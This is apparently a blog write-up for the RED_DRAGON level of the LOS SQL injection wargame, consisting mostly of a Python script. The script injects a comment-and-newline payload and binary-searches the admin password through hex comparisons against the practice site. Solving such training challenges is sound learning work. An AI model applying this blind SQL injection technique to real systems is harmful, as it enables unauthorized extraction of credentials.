WRITE UP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | import requests import re url = "http://los.rubiya.kr/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php" session = {'PHPSESSID':'MY_SESSION'} data = {'id':"'||pw<#"} a=0 b=0xffffffffffffffffffff while b-a!=0: center = hex(a+(b-a)//2+1) if(len(center)%2!=0): center = "0x0"+center[2:] data['no']="\n"+center res = requests.get(url, params=data, cookies=session) if "Hello admin" in res.text: b=int(center,0)-1 else: a=int(center,0) flag = bytes.fromhex(hex(a)[2:]).decode('utf-8') flag = re.match('\S*',flag).group().lower() print("[∞] flag : "+flag) data['pw']=flag res = requests.get(url, params=data, cookies = session) if "Clear!" in res.text: print("[♪] RED_DRAGON Clear!") | cs |
'Wargame > LOS(rubiya)' 카테고리의 다른 글
LOS :: 28번 FRANKENSTEIN (0) | 2018.08.27 |
---|---|
LOS :: 27번 BLUE_DRAGON (0) | 2018.08.27 |
LOS :: 25번 GREEN_DRAGON (0) | 2018.08.27 |
LOS :: 24번 EVIL_WIZARD (0) | 2018.08.27 |
LOS :: 23번 HELL_FIRE (0) | 2018.08.23 |